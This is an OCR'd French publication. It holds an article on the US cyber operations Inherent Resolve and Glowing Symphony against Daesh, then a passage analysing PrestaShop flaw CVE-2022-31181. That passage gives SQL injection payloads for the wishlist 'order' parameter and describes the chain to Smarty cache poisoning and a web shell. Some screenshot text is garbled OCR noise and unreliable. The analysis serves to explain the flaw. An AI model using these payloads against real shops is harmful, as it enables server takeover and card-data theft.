un scénario de réinitialisation de mot de passe.

A partir des informations récupérées sur ces deux
nouveaux comptes, les équipes cyber ont pu ob-
server trois comportements :

+ Daesh utilisait un Active Directory on Premise
(avec un serveur physique) afin de gérer tous

Inherent Resolve

les ordinateurs ;

+ L'organisation couplait cet Active Directory
avec AWS ce qui lui permettait de créer et sup-
primer des sites web rapidement ;

+  Twitter était utilisé comme une plateforme de
partage d'informations afin de donner une vi-
sibilité aux nouveaux sites web [16].

Ces nouveaux sites web étaient une cible priori-
taire pour la NSA qui s'efforcait de les faire dispa-
raitre en effectuant des demandes de takedowns.

Ainsi, la solution AWS permettait a Daesh un acces
a des serveurs dans le monde entier ainsi qu'un
renouvellement fréquent des adresses IP dans le
but de contrer ces actions .

Les identifiants du compte mail ont aussi pu étre
réutilisés afin de s'identifier sur le domaine de
Daesh et ainsi en obtenir un premier accés. A
partir de la, les équipes d'Inherent Resolve ont
cherché a obtenir un état de persistance au sein
du réseau de Daesh. Puis, grace a cet acces, les
équipes ont pu commencer a exfiltrer des infor-
mations sensibles.

En parallele de cette collecte dinformations,
I'équipe Cyber d'Inherent Resolve a pu espionner
les agissements quotidiens des terroristes afin de
comprendre leur raisonnement et prédire leurs
futures attaques. Ce genre de procédé est appelé
de l'analyse comportementale et une équipe en-
tiere y a été dédiée. Ce travail s'est révélé crucial
durant le lancement de I'opération Glowing Sym-
phony.

Un de ces analystes, travaillant depuis plus de
deux ans sur l'opération, a permis aux équipes

Daesh

o)1) a)u

4. Les équipes réutilisent ces
identifiants afin d’accéder au
compte mail d’'un membre

de Daesh identifiants mails

Application mail légitime

Opération de phishing réalisée par Inherent Resolve

1. Les équipes d’Inherent Resolve envoient un mail de
phishing a des personnalités de Daesh

3. Les équipes collectent les

2. Daesh clique sur un lien
de phishing et visite un
site contr6lé par Inherent
Resolve

Application mail factice créée par Inherent Resolve
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de répondre a une question de sécurité (What is
your first pet name?), car il avait deviné ce que l'uti-
lisateur légitime avait configuré comme réponse.
Sans cette réponse, 'opération entiére aurait pu
étre mise en échec.

‘What was your first pet’s name?

Question de sécurité Windows

De méme, une reconnaissance de l'infrastructure
a continuellement été menée durant les deux an-
nées.

=R
o

Magazine Dabiq

1. Identification de |a source
de publication

Vidéo de propagande Daesh

\ Application web de Daesh /

Mapping réalisé par les équipes Inherent Resolve

Les militaires ont ainsi été en mesure de constituer
une cartographie de l'infrastructure du réseau de
Daesh.

Pour identifier la liaison entre un appareil et Daesh,
les équipes avaient une méthodologie précise.

Les équipes commencaient par effectuer un tra-
cage de chaque vidéo, chaque site web ou chaque
magazine publié et disponible sur le web. Puis les
équipes tentaient de remonter a leur source de
publication. Une fois identifiée, cette source était
analysée et comparée a leurs bases de renseigne-
ments. Enfin elle était annotée et ajoutée a la car-
tographie du réseau informatique de Daesh.

En combinant la cartographie et I'analyse compor-
tementale, il leur a été possible d'affirmer que le
réseau informatique était utilisé principalement a
deux fins :

«  Communication et coordination des attentats
ou des attaques ;

+ Préparation des futurs outils de propagande.

Néanmoins, le potentiel de la cartographie du
réseau avait été sous-estimé et ainsi personne
n‘avait alors remarqué un défaut majeur sur la
conception de l'infrastructure.

En février 2016, le Commander s'est penché sur
le schéma de l'infrastructure. En annotant les ma-
chines de Daesh sur une carte du monde et les re-
liant a travers des fils, ils avaient réalisé que toute
la propagande de Daesh provenait uniquement de
10 noeuds qui correspondaient a des personnes

2. Ajout de la
source dans la

cartographie
o) = A,
— —
B
Source Cartographie
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centrales pour l'organisation de Daesh.

Le Commander a donc réalisé que compromettre
ces 10 nceuds aurait pour conséquence dinter-
rompre la propagande effectuée par Daesh sur
Internet ainsi que de les empécher de réaliser
toutes opérations informatiques (transfert de fi-
chiers, paiements, etc.) [17].

C'est sur cette idée que s'est basée toute l'opéra-
tion Glowing Symphony et qui la rend unique, car
contrairement a Inherent Resolve, cette opération
avait un comportement offensif et destructeur.

Ces deux opérations sont indissociables de par
leur complémentarité.

Des difficultés internes qui auraient pu
compromettre I'opération

En 2016, les cyberattaques étaient encore tres
connotées négativement. Ce genre de procédé
était, et est encore aujourd’hui, souvent associé
a des associations malveillantes ou encore au ter-
rorisme.

En effet, Stuxnet en 2010 est I'exemple de cybe-
rattaque disruptant completement un pays au
travers d'espionnage industriel et de pratiques
malveillantes. Depuis, le monde entier associe
facilement les cyberattaques étatiques a cette
opération ainsi que ses dangers et ses risques as-
sociés.

Les Etats-Unis voulaient ainsi éviter une image
négative qui aurait pu étre associée au caractere
offensif de Glowing Symphony. WannaCry, appa-
ru en 2017, un an apres Glowing Symphony, est le
genre de scandale auquel les Etats-Unis ne vou-
laient pas avoir a faire face [18].

Ainsi, le gouvernement américain a pris de
grandes précautions en amont du lancement de
'opération. Tout d'abord, Glowing Symphony a
été soumise au processus Joint Interagency Coordi-
nation (JIC). Ce groupe est utilisé afin de coordon-
ner les opérations militaires des Etats-Unis.

Leur processus a été tres long, pour Glowing Sym-
phony il aura duré plus d'un mois.

Les retards avaient un impact important sur 'effi-
cacité ainsi que la faisabilité de I'opération. Toute
'opération reposait sur les accés obtenus au tra-
vers d'Inherent Resolve. Faire retarder 'opération,
c'était donner une chance aux terroristes de re-
marquer que des intrusions avaient été commises
sur leurs systemes et ainsi bloquer les acces des
militaires. Le groupe avait conclu que l'opération
présentait différents points de non-conformité et
a cherché a recadrer l'opération.

De nombreuses réunions ont ainsi été tenues
avec pour but d'ajuster les objectifs ainsi que les
détails de 'opération avant son lancement [19].

Le JIC a ainsi décidé que le but principal de l'opé-
ration était de devenir administrateur du do-
maine sur le réseau de Daesh afin d'en prendre
le contrdle. Puis, dans un second temps, d'aller
attaquer les 10 nceuds et les supprimer.

De plus, dans les limites accordées, il était pos-
sible de supprimer des clés cryptographiques, des
dossiers ou des fichiers qui auraient fait perdre a
Daesh l'acces a leurs comptes bancaires.

Cette opération était aussi une premiere dans
I'histoire des Etats-Unis, car elle avait été confiée
a un groupe peu expérimenté : le US Cyber Com-
mand. Créé en 2010, ce groupe n'avait alors ja-
mais réalisé d'opération d'une telle envergure.

En plus des problémes internes, 'opération avait
été confrontée a des problemes de dimension
internationale. En effet, les militaires ont consta-
té que les 10 nceuds a compromettre n'étaient
pas centralisés en Syrie, mais éparpillés dans
le monde entier et dans des états souverains
comme la France.

Afin d’'obtenir les autorisations d'attaque sur des
infrastructures présentes dans de tels pays, les
militaires devaient d'abord démontrer leurs com-
pétences. Ces nceuds se trouvant dans les mémes
infrastructures que des données critiques comme
des données médicales d’'hdpitaux, les attaquants
devaient réussir a attaquer le contenu terroriste
tout en gardant intactes les parties plus critiques
et civiles.

Cette dimension précise et méticuleuse a donné
le surnom d« opération chirurgicale ».
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Plusieurs profils de militaires au sein
de I'opération

L'opération Glowing Symphony a été confiée au
détachement nommé Joint Task Force-Ares (JTF-
Ares). Il avait pour mission de développer et uti-
liser des malwares dans un but destructif envers
les machines de Daesh : réseau, ordinateurs, té-
léphones.

Composée d'une dizaine d'unités, chacune de ces
unités avait 4 membres de profils différents. Le
tableau suivant détaille ces 4 profils.

Réle Description Autorisation
Leader En charge de l'unité N/A
Mise en place d'in-
Opérateur frastructure dDestru‘ctlon
e systémes
Attaquant
Vision large du réseau
SIGDEV Donne des indications N /A
a l'opérateur
Analyse les comporte-
ments et personnali-
tés des cibles
Intel Analyst N /A

Permet d'analyser les
informations trouvées
dans le réseau

Il est ainsi a noter qu'un seul réle avait le pouvoir
destructif sur 'infrastructure de Daesh.

Lancement de
Symphony

'opération Glowing

Pour le lancement de l'opération, une fenétre de
deux heures avait été choisie. Une durée pendant
laquelle il avait été estimé que les terroristes n'au-
raient pas le temps de répondre apres le constat
du premier incident. De plus, il avait été défini lors
des réunions que les équipes devaient compro-
mettre le domaine en seulement 10 minutes.

Pour ce faire, des répétitions ont été menées. Un
Active Directory similaire a celui de Daesh avait
été créé afin de lister toutes les commandes a
exécuter et les automatiser au maximum. Le clic
preés avait été préparé afin de répondre a cette
exigence des 10 minutes. Ainsi en novembre 2016
'opération Glowing Symphony a été lancée.

Grace a leurs préparations tres efficaces et preé-
cises, ainsi qu'a l'analyse comportementale, I'ob-
jectif d'obtenir le réle de contréleur de domaine
en moins de 10 minutes a pu étre atteint.

A partir de cet acces trés privilégié, les unités ont
pu attaquer les 10 nceuds définis comme critiques
lors des opérations de reconnaissance et ainsi
bloquer la propagande sur Internet dans un pre-
mier de temps.

lIs ont ensuite pu continuer en empéchant Daesh
de se reconnecter de son réseau en supprimant
leurs comptes (voir schéma a la page suivante).

1ére étape : Compromission de l'active Directory de Daesh

Analyst

Attague Glowing Symphony
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L'opération Glowing Symphony a donc été un suc-
ces retentissant aux yeux du gouvernement amé-
ricain et en particulier pour le CyberCommand. Le
magazine Dabigq, tres populaire et premier jour-
nal djihadiste, n'a pas pu paraitre a la date initia-
lement prévue et tous leurs sites web ont cessé
de fonctionner. Néanmoins, les années suivantes
vont aboutir a un constat bien différent.

Résultats

L'opération Glowing Symphony a ainsi été la seule
action cyber ayant été efficace contre la propa-
gande djihadiste.

En effet, contre la puissante propagande de Daesh,
d’'autres actions ont été lancées. Par exemple,
un site web avait été créé par le StratCom afin
de contredire les arguments avancés par les dji-
hadistes pour convertir et recruter de nouveaux
membres.

Cependant, le bilan de l'opération Glowing Sym-
phony semble mitigé. Apres avoir compromis et
fait tomber intégralement le réseau de Daesh,
ce dernier est toujours présent. La résilience de
Daesh montre donc les faiblesses de ce type d'at-
taque.

Une victoire est-elle possible
sur le terrain cyber ?

Une victoire en demi-teinte pour
Glowing Symphony

Au vu des éléments mentionnés précédemment,
on peut se demander quel a été l'effet final de
l'opération Glowing Symphony. On sait que I'ob-
jectif était de lutter contre la propagande djiha-
diste et de désorganiser les communications in-
ternes & Daesh. A court terme, l'opération a privé
l'organisation terroriste d'une grande partie de
ses ressources. En effet, a la suite du lancement
de l'opération, un jeu du chat et de la souris s'est
engagé. Dans ce jeu, les hommes de Daesh ten-
taient de retisser petit a petit leur réseau de ser-
veurs alors que les militaires américains poursui-
vaient leur attaque.

L'opération a par ailleurs eu un impact négatif sur
la réputation de Daesh. Seuls 40% des sites web
de 'organisation terroriste ont été restaureés [20].
Les contenus publiés par l'organisation se sont
ensuite faits plus rares et de moindre qualité.

Toutefois, le succes a long terme reste mitigé. De
fait, Daesh n'a pas disparu de la toile. C'est en dé-
finitive sa défaite sur le plan militaire qui a réel-
lement affecté sa propagande en ligne. De fait,
la réduction de son territoire en Syrie et en Irak
ainsi que la baisse de ses revenus ont rendu le
proto-Etat moins attractif. Enfin, la mort et I'em-
prisonnement d’'une majorité de ses soldats sur
le terrain a réduit les sources de propagandes, vi-
déos comme photos.

2éme gtape : Destruction des nceuds critiques de Daesh

@‘ Neeud critique du réseau de Daesh

-

N

Active Directory de Daesh

Comptes

1)
~

L

Adresses IP

Liste d’avatars /

contrélé par le Cyber Command

Suppression de toutes les informations liées a un des noeuds critiques de Daesh

Mapping réalisé par les équipes Inherent Resolve
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Ainsi, on pourrait résumer l'opération par l'idée
que la cyberguerre est désormais nécessaire,
mais pas suffisante. A fortiori, menée contre le
terrorisme, elle ne peut étre décisive puisqu'il
s'agit de combattre un mode d'attaque et non
pas un ennemi précis. |l ne peut donc y avoir de
victoire décisive puisque la menace terroriste est
protéiforme et fortement adaptative.

Toutefois, le précédent américain a conduit
d'autres puissances a s'essayer sur le champ
cyber. On peut notamment citer les opérations
conduites par le Royaume-Uni en 2016-2017 [21]
et 'Australie en 2019 [22] contre Daesh.

Le réveil cyber des occidentaux
Londres et Canberra choisissent I'of-
fensive tandis que Paris préfére la dé-

fensive

Concernant le Royaume-Uni, les opérations cy-
ber ont été menées conjointement par le com-
mandement stratégique, en charge des capacités
interarmées, et par le Government Communi-
cations Headquarters (GCHQ), responsable du
renseignement d'origine électromagnétique et
de la sécurité des systemes d'information (SI).
L'’Australie a, quant a elle, mené ses opérations
via I'Australian Signal Directorate (ASD) [23].

Ces opérations avaient trois objectifs :

+ Lutter contre la propagande djihadiste en
ciblant des serveurs de I'El avec des malwar-
es;

+ Soutenir les opérations militaires sur le ter-
rain en attaquant des drones appartenant a
I'organisation terroriste ;

+ Semer le désordre au sein des troupes de
Daesh en leur envoyant des ordres contra-
dictoires par messages sur leurs téléphones.

Il s'agissait ici davantage de « cyber-opérations »
censées étre complémentaires a celles dans le
domaine militaire. Par exemple, la mise hors
ligne des serveurs de communication interne a
Daesh juste avant le lancement d'un raid aérien
australien sur le Califat permettait de maximi-
ser l'effet destructeur des frappes puisque les
soldats de I'El ne pouvaient pas communiquer
entre eux pour se prévenir.

Dans le cadre des opérations de ces deux pays, il
estintéressant de noter a la fois 'usage de I'arme
cyber « au loin » afin d’en prendre aux serveurs

de Daesh et l'usage « sur le terrain » afin de blo-
quer l'usage de drones de I'El utilisés pour de la
reconnaissance et pour des missions suicides.

Concernant d'autres pays comme la France ou
I'Allemagne, si on ne peut affirmer avec certitude
gu'aucune opération n‘ait été menée, on constate
que l'agenda politique et militaire dans le do-
maine a changé.

En effet, depuis 2010, on a assisté a la création de
« cyber-forces » nationales afin de mieux structu-
rer les capacités et favoriser la coopération entre
Etats. Des pays précurseurs en la matiére sont
les Etats-Unis avec le US Cyber Command (ou US
CYBERCOM) et I'Australie avec le Cyber Security
Center créé la méme année. La France et I'Alle-
magne ont créé leur force, respectivement Com-
mandement cyber et Cyber and Information Do-
main Service, en 2017. Les derniers arrivants en
la matiere sont les Britanniques avec la National
Cyber Force créée en 2020.

Hormis les pays anglo-saxons, peu d'Etats ont
communiqué sur leurs opérations cyber. La
France a, quant a elle, essentiellement apporté
une réponse législative avec le blocage de l'acces
aux sites réputés terroristes ou faisant indirecte-
ment la promotion des actions terroristes [24]. On
peut notamment citer la loi n® 2014-1353 du 13
novembre 2014 [25]. Cette derniére a permis de
bloquer 89 sites entre 2014 et 2016 [26]. Cepen-
dant, cette stratégie parait peu efficace puisque
les organisations terroristes sont agiles et rapides
pour reposter les contenus sur d'autres plate-
formes ou d'autres sites ne tombant pas sous la
juridiction francaise.

De plus, ces lois sont souvent critiquées en raison
de leur caractere liberticide, voire anticonstitu-
tionnel. C'est le cas de la loi Avia [27] ou loi sur les
contenus haineux sur internet du 24 juin 2020. La
loi avait été adoptée a 'Assemblée nationale, mais
retoquée par le Sénat et par le Conseil Constitu-
tionnel. La loi Avia a finalement été promulguée
apres qu'une partie importante de ses disposi-
tions ont été retirées. Ce « carcan » juridique rend
difficile une lutte efficace contre la propagande
terroriste en ligne.
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Une coopérationinternationale contre
le terrorisme dans le domaine cyber :

mythe ou réalité ?

Deés lors, une coopération internationale cyber
contre le terrorisme semble étre le meilleur
moyen. L'opération Glowing Symphony, dans la-
quelle les Etats-Unis et leurs alliés anglo-saxons
ont collaboré, est un exemple idéal. Or le cyber
reste un domaine secret et coopérer implique
de dévoiler aux partenaires tout ou partie de ses
capacités, de ses savoir-faire ainsi que ses outils.

La communication de ces informations restreint
fortement la volonté politique d'une collabora-
tion. De méme, ce type d'opérations a un codt
non négligeable qu'il faut répartir entre les par-
ties prenantes. Par ailleurs, la cyberguerre est la
poursuite de la politique par d'autres moyens et
les intéréts politiques sont souvent divergents
entre Etats. C'est notamment le cas si 'on imagi-
nait une coopération entre les Etats-Unis et cer-
tains pays comme la Chine et la Russie.

Ces intéréts divergents se retrouvent dans la
définition méme du terrorisme et donc la lutte
contre celui-ci. Ce que certains pays considere-
ront comme des organisations terroristes seront
vues comme des défenseurs de la liberté par
d’autres Etats.

On sait que la Chine et la Russie ont toutes
deux conduit des opérations cyber contre des
organisations terroristes sur leur territoire. Par
exemple, Pékin considere la résistance ouigoure
dans le Xinjiang comme du terrorisme sépara-
tiste. En effet, toute tentative de contestation de
I'autorité de Pékin sur le territoire national est
percue comme une menace existentielle pour la
nation. L'Empire du Milieu affirme avoir conduit
des opérations en 2013.

Conclusion

En définitive, C'est la défaite militaire de Daesh
en 2017 qui a mis un frein a la propagande en
ligne du Califat plutét que la cyberguerre menée
par les Anglo-saxons. La désintégration du ter-
ritoire de I'El, la coupure brutale des ressources
financieres et pétroliéres ainsi que la fuite des
cerveaux de l'organisation ont porté un coup
d’arrét a son attractivité.

Cependant, l'organisation n'a pas disparu pour
autant. Cette derniere reste présente en Irak et
en Syrie sous la forme d'une guérilla. De plus, I'El
s'est implanté sur de nouveaux territoires dans
le Sahel, I'Asie du Sud-Est, le Sinai et la Libye.

De ce fait, a la question « La cyberguerre contre
le terrorisme : quelle réalité et quelle efficacité
?», on peut répondre que cette derniere existe
bel et bien avec quelques exemples publics a
I'appui. On se doute qu’en coulisse, d'autres opé-
rations ont eu lieu ou sont en cours.

Concernant l'efficacité de cette cyber-guerre, elle
est nécessaire, mais pas suffisante pour gagner.
L'opération Glowing Symphony a toutefois eu
le mérite d'avoir permis aux forces armées an-
glo-saxonnes de se structurer, de créer des pro-
cessus, de définir un cadre légal et de démontrer
I'importance du champ cyber pour les politiques.
Les autres pays eux, ont a minima développé
des forces armées dédiées a ces sujets.

Ces dernieres années, on a assisté a un chan-
gement de paradigme, celui de la fin de la pré-
dominance des conflits asymétriques. Des lors,
la guerre contre le terrorisme a cédé la place a
la guerre dite de « haute intensité ». Le terme
désigne I'affrontement militaire entre deux Etats
comme observé en 2020 entre I'Arménie et
I'Azerbaidjan au Haut-Karabakh et plus récem-
ment entre la Russie et 'Ukraine.
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Analyse technique de la faille
CVE-2022-31181 exploitée sur Prestashop

Par Kilian CHEVRIER et Clément DEROUET

TL;DR

Les sites de commerce en ligne sont omniprésents sur Internet et ces derniers ont atteint plus de
112 milliards d'euros de chiffre d'affaires en 2020 [1].

De nombreux commercants utilisent des systemes de gestion de contenu (CMS), notamment pour
mettre en place leur site e-commerce. Ceux-ci sont facilement personnalisables et ne nécessitent
que peu de connaissances techniques pour étre utilisés. Parmi les plus connus figurent Wordpress,
Drupal, et Prestashop.

Dans cet article, nous nous pencherons plus particulierement sur Prestashop qui s'est vu, récem-
ment, attribuer une vulnérabilité critique impactant la majorité des applications utilisant ce CMS.
Par une analyse générale de cette derniere suivie d'explications plus techniques, nous verrons com-
ment des attaquants ont réussi a exploiter cette faille sur un grand nombre de sites web reposant
sur ce CMS.

Introduction
Qu’est-ce que Prestashop ?
Créée en 2007, Prestashop est une application web open source permettant la création de boutiques

en ligne. Utilisée sur plus de 300 000 sites dans le monde entier, ces sites e-commerce ont généré plus
de 15 milliards d'euros de chiffre d'affaires en 2021 [1].

Qu'est-ce que Smarty ?

Smarty est un moteur de template pour PHP. Il permet de concevoir des modeéles de page HTML qui se-
ront utilisés par I'application pour générer la page web qui sera renvoyée en réponse a l'utilisateur [4].

L'une des fonctionnalités proposées par Smarty est la mise en cache. Cette derniere permet de garder
une trace du rendu d'une page web afin de le réutiliser plus tard.
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Description de la vulnérabilité

Récemment, une vulnérabilité critique a été découverte au sein de Prestashop (versions 1.6.0.10 a
1.7.8.6). La vulnérabilité a été référencée CVE-2022-31181 avec une criticité de 9.8 (CVSS:3.1/AV:N/AC:L/
PR:N/UIN/S:U/C:H/EH/AH) [2]. Il s'agit d'une injection SQL chainée avec une injection de code en détour-
nant 'usage du moteur de template Smarty.

Un tel impact donne la possibilité de prendre le contréle de I'hdte vulnérable.

« Cette faille a fait 'objet d’'une campagne d’attaque
ayant permis a des cybercriminels
d’insérer des skimmers web,
c’est-a-dire un code permettant
de capturer silencieusement les données
de cartes bancaires soumises au sein des formulaires
de paiement »

A partir de ce point, un acteur malveillant est en mesure d'effectuer n'importe quelle action sur la
machine compromise, dans les limites des permissions accordées au compte utilisateur associé au
serveur web. Ce compte est en général www-data sur Linux ou ISS_[nom_de_la_machine] sur Windows.

Normalement, ces derniers ont des permissions limitées. Cependant, si une vulnérabilité permettant
une élévation de privileges est présente (comme par exemple la CVE-2021-3156, aussi connue sous
le nom de Baron Samedit), un attaquant pourra accéder a un compte administrateur fournissant le
contrdle total du systéme.

Celui-ci sera alors capable d’effectuer un nombre important de manceuvres malveillantes, incluant de
facon non exhaustive :

+ Le vol de données sensibles (identifiants des utilisateurs, données bancaires, etc.) ;
« La compromission d'autres machines sur le réseau interne ;
« L'utilisation d'un ransomware.

L'exploitation de la vulnérabilité nécessite que le module Blockwishlist 2.1.1 (ou antérieur) soit présent,
ce dernier étant installé par défaut.

Cette faille a fait I'objet d'une campagne d'attaques ayant permis a des cybercriminels d'insérer des
skimmers web, c'est-a-dire un code permettant de capturer silencieusement les données de cartes ban-
caires soumises au sein des formulaires de paiement [3].
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Analyse de la faille CVE-2022-31181 exploitée sur Prestashop
Détails techniques

Comment fonctionne la faille ?

Pour exploiter un site web vulnérable, et donc la CVE-2022-31181 permettant I'exécution de com-
mandes, il est d'abord nécessaire d'identifier le parametre permettant de réaliser l'injection SQL. Dans
le cas présent, la liste de souhaits est la fonctionnalité vulnérable.

Un attaquant en boite noire doit au préalable créer un compte (action réalisable par n‘importe quel
utilisateur du site web). Il devra ensuite ajouter un produit a sa liste de souhaits (wishlist).

Cette fonctionnalité présente un défaut et va permettre I'exploitation de l'injection SQL. Par le biais de
cette derniere, 'attaquant va forcer l'activation du cache Smarty au sein de la base de données MySQL
de l'application.

L'étape suivante consistera, grace a l'injection SQL, a modifier le contenu du cache afin d'empoisonner
ce dernier (cache poisoning). La modification de ce cache s'effectuera en y insérant un point d’injection
de commande, appelé web shell. La prise de contrdle du serveur a distance sera alors possible pour un
attaquant.

o Envoi d'une requéte permettant la modification du cache i

A

' Retour du cache modifié o Stockage du cache modifié °

en base de données

Site web
vulnérable

Visite du site web, chargement du cache

L] L] .
>

<5
Retour du cache modifié °

Schéma illustrant le principe de 'empoisonnement de cache

Preuve de l'injection SQL

Lors de la visualisation des produits sur la liste de souhaits, un utilisateur peut trier les articles de cette
liste en fonction d'un parametre. Ce parametre nommé order permet de trier la liste de souhaits en
fonction de la pertinence, du prix, du nom, dans l'ordre croissant ou décroissant.

Afin de détecter un parameétre vulnérable, différents points d'injection ont été testés dynamiquement
via des requétes HTTP vers le serveur. Cependant, certains parameétres susceptibles d’étre vulnérables
n'influent pas sur le contenu de la réponse HTTP. Ainsi, nous avons décidé d'utiliser une méthode basée
sur le temps afin de détecter la présence d'injections SQL (Time Based SQLi). Ce procédé a pour avan-
tage de ne pas avoir besoin de retour textuel de la part du serveur pour confirmer la faille ; on parle
alors d'injection en aveugle (blind SQLI).
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Suite a notre série de tests, nous avons déterminé que le parametre order était vulnérable. La procé-
dure a été réalisée de la facon suivante :

Un utilisateur trie sa liste, en fonction des prix par exemple. Derriere, une requéte HTTP GET est émise
avec un parametre order, ayant la valeur “product.price.desc”.

Pour mieux comprendre le fonctionnement de l'injection, il est nécessaire de regarder la requéte SQL
correspondant au tri. Voici la requéte SQL (simplifiée) :

SELECT p.*,

(champs) WHERE (condition)
ORDER BY p.price desc
LIMIT 12

@ O & https://github.com/PrestaShop/blockwishlist/com

Validate order by and order way

dev
v2.1.2

4% atomiix committed on 21 Jun b 6175d5641602

Showing 1 changed file with 5 additions and 1 deletion. Split Unified

src/Search/WishListProdu archProvider.php

nent\Translation\TranslatorInterface;

Validation ajoutée dans le code
source afin de corriger l'injection
sQL

() - 1) * (int) ResultsPerPage());

Commit contenant la correction de la vulnérabilité sur le dépot du module Prestashop Blockwishlist sur Github

Les variables $sortOrder et $sortWay sont extraites de la valeur du parametre order (accessible a l'utili-
sateur), et concaténées au sein de la requéte SQL au niveau du parameétre ORDER BY. Nous constatons
que la mise a jour du module a ajouté une validation pour ces deux variables qui était absente aupa-
ravant. Cette vérification permet de s'assurer qu'aucun code SQL n'a été introduit au sein des deux va-
riables par un utilisateur malveillant. L'absence de cette ligne de code dans les anciennes versions rend
la variable $sortOrder vulnérable a des injections.

Note : la valeur de la variable $sortWay était déja validée (de facon indirecte) a un autre emplacement
au sein du code source. Celle-ci ne permettait déja donc pas d'injection SQL.

Pour rappel, la valeur du parameétre vulnérable order, pour le tri de la liste en fonction des prix était
‘product.price.desc’. Cette chaine de caractéres est divisée en trois sous-valeurs séparées par des points
(‘product’, ‘price’ et 'desc). La deuxiéeme partie de celle-ci correspond a la valeur qui sera stockée dans la
variable $sortOrder (vue précédemment).
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Analyse de la faille CVE 2022- 31181 explmtee sur Prestashop
Un attaquant va pouvoir injecter du code SQL en utilisant la charge utile suivante dans le parameétre
impacte :

product.price; select sleep(2); -- desc
Dans le paramétre order comme le montre la capture suivante :

Burp Project Intruder Repeater Window Help
Dashboard  Target Proxy  Intruder Repeater Sequencer Decoder  Comparer Logger Extender Project options User options Learn

i B ) ) ) ) ) | ) ) ) + Q i
XD @ cancel (<7 Target: http:/flocalhost /% HTTP/L ()
== =)
Request Response o insp... W = - @
Prefly Raw  Hex B = Pety Raw Hex Render M = RequestAtribues 2 v
es3aei0Teasaciiiz sass7cacncd oas3db Sofalasdsieesicab 7T CTET

Sccl <662753154291ac‘31595d0 hac:csbaﬂdzuuaaecmaﬂcadu;sc Pr:nashon uabn'leod?fmsrafsb:Ausmzsnis
2af: 6504 2b8025ed20b 48da 3e1d68d

Request Query Parame®rs

1715255 42dbb7c :ssmf?a:nm qwas laft 1#68ea 8081 80 2 7 fcae08e60891cBaf 437 420279603
17681502291 330516 575088577 76304 362F 4570915030807 ¢b 6791 7354373363031 420b 3584022331 7 ¢ s&sdslc&gszsnb
9062134495 0ebc51aebB462h1 | 37ebBSA45 02 284 26300 397¢ 7 341 dCBI4664 7661 06h 29484 426301 9HGBI05C19e 4561 ac cF60bOC
St33Tat17a20d6d6c 44322 3060831 7604510371 Tz a 321 158a0ee L TaBae 1be th3cCOr ) edmnconcsar o7t det2econd16f7
023947451291 20 f £ 41681041 730e 55190 77 2¢ 200 2e Bt d 71beB34c Ta bflazf42edbdate Scdecds
52 B4414d86c10¢ 9 761 b6 9650 02032h 30 45541 344e081 8b5 47310984, aansn-:lndummaasmsmz 14ccd0adBeB34a3460938
6218c 23980 b5F £a5ec55e 2L ce 9935821 dc1b9a e 2552F 5462 4497 c 4360 e 0490277340 5307b ca 20052 2087983 5460 £ Ba e 54090936
dadc324fA76cfs zmsassandaa1ozsacaafaz;aenas«swvgzgaccemo'r Laadsdisssade 262675 a)s_anonynous_1d=

%2224 3aB3cc - 7953- 4b4f - BFS8- 74cE590 6485422

161257704 6 5dbe04+{70echa05a15e1 7hen0n1 10, 159590565614, 659956204968, 1659969276739, 4; hubspotutk=
bedbcsaff 78achoBEalSe1oThee0b18; ajs_user_id=42268h1le6cd-1178-4196-bane-1 2hdacechal 122;

8p_cBaed77ebcBB0 4222724bc 1 480dBa0d_n

Request Body Parametdis v

Request Cookies 12 ™

Request Headers 13 v

Response Headers T ~

attribut e=Shrewritesbrovn-bear-pri

product=2tid_product

“272d1n1tial _referring_
Z4agasbl 52220 220p_n

%200
ment_nethodst3F_t oken’ 3083%01573pyVE2T72Y ShDcsDS_KyTSO- KWLyt 0h 2
' 34% 20% 221 ocal hos 15225 205 22% 24us. m 223384207 225501 € 6c4-11 8- 41 96-ba
v 3 - 45a5h, 21

Tocalhost\/prestashop/index. php1id_product=2brewrite=brown-bear-printed-sweaterbcontroller

Ny 2o -

= %3
Charge utile utilisée, comportant m
un délai de 2 secondes

43.1

111872261 1659966439, 1. 1. utncsre| direct ) [utmccns direct) |Utscads { none)
Sec-Fetch-Dest: enpty

12 Sec-Petch h Hod:

13 See-Feteh-Site: same-origin
4 Content= L< sth: 127

Temps de réponse du serveur
suite a 'injection SQL

ler-vievforisr]  Paramétre vulnérable

)
Iuruuuct oeice stlectyTont cepla) A AOMDS: - dene {fm she=

“uny
“unit_price ratio";"0.000000°,

@@ €| - |Search 0 maiches @@ €|/ > | Search 0 maiches
Done 5,716 bytes | 2.295 millis}

Preuve de concept de la time-based SQL injection dans le logiciel Burp

La partie correspondant au champ de référence pour le tri est modifiée de sorte a insérer une seconde
requéte, ici une requéte permettant de faire en sorte que le serveur attende un délai de deux secondes
avant de répondre. Le temps d'attente inhabituel pour obtenir la réponse HTTP permettra a I'attaquant
de confirmer la présence de l'injection SQL.

Ce délai démontre alors la présence d'une injection SQL, et va permettre I'exploitation de la vulnérabi-
lité via Smarty.

Activation du cache Smarty

L'étape suivante va avoir pour but d'injecter du code SQL de maniére a ce que le cache soit activé et en-
registré dans la base. Par défaut, celui-ci est enregistré dans des fichiers contenant des noms aléatoires
et par conséquent, difficilement accessibles par l'intermédiaire de requétes SQL.

Pour commencer, il est nécessaire d'avoir connaissance de la structure de la base de données de Pres-
tashop. L'activation du cache se fait par le biais de la table ps_configuration. Celle-ci contient diffé-
rentes paires clé/valeur représentant différents réglages possibles pour définir le comportement de
I'application. Le parameétre correspondant a l'activation du cache Smarty se nomme PS_SMARTY_CACHE.
Notes : lors de l'installation de Prestashop, il est possible de choisir un préfixe pour le nom des tables de
la base de données Prestashop. Le nom reste le méme, mais le préfixe, par défaut «PS», peut changer.
Par exemple, la table liée aux permissions se nommera PS_ACCESS par défaut, mais avec un préfixe
différent, pourrait se nommer PRESTA_ACCESS.
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La capture suivante montre une partie du contenu de la base de la table, indiquant que le cache Smarty
est désactivé.

B +----
| id_configuration | id_

NULL
267 | \ NULL S ARTY_CLEAR_CACHE
NULL YERED_CACHE_ENABLED

Parametre indiquant la non-activation du cache Smarty au sein de la base de données MySQL

Une requéte UPDATE va étre réalisée, ayant pour objectif de mettre a 1 la valeur de la ligne PS_
SMARTY_CACHE, afin d'activer le cache Smarty. La charge utile correspondante est la suivante

product.price; UPDATE prefix_configuration SET value=1 WHERE name LIKE «%smarty_cache%y; --

mysql> select * from ps_configuration where name like "%
R T Fommmmmm e R oo
| id_configuration | id_shop_group id_shop | name
--------- B T T

NULL | PS_SMARTY_CACHE
267 | \ NULL | PS_SMARTY_CLEAR_CACHE | never | peBO 00 00:00:00 | 2022-08-10 13:39:46 |
